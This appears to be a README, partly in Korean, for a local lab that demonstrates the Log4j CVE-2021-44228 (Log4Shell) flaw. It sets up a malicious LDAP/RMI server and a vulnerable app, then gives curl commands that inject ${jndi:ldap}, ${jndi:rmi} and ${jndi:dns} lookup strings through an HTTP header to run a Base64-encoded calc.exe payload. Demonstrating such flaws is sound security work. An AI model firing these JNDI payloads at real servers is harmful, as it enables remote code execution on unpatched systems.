manuel-alvarez-alvarez/log4j-cve-2021-44228Log4j CVE-2021-44228 examples: Remote Code Execution (through LDAP, RMI, ...), Forced DNS queries, ...
취약한 JDK를 사용하세요. 예: JDK 1.8.0_181
악성 서버는 다음 엔드포인트를 배포합니다:
./gradlew :malicious-server:bootRun
취약한 애플리케이션은 8082 포트에 하나의 HTTP 엔드포인트를 배포합니다.
./gradlew :vulnerable-app:bootRun
취약한 앱에서 실행할 페이로드를 선택하고 Base64로 인코딩하세요. 예를 들어 Windows에서 계산기를 열려면: calc.exe
curl --header "X-Vulnerable-Header: ${jndi:ldap://localhost:1389/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/
curl --header "X-Vulnerable-Header: ${jndi:rmi://localhost:1099/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/
curl --header "X-Vulnerable-Header: ${jndi:dns://8.8.8.8/google.es}" http://127.0.0.1:8082/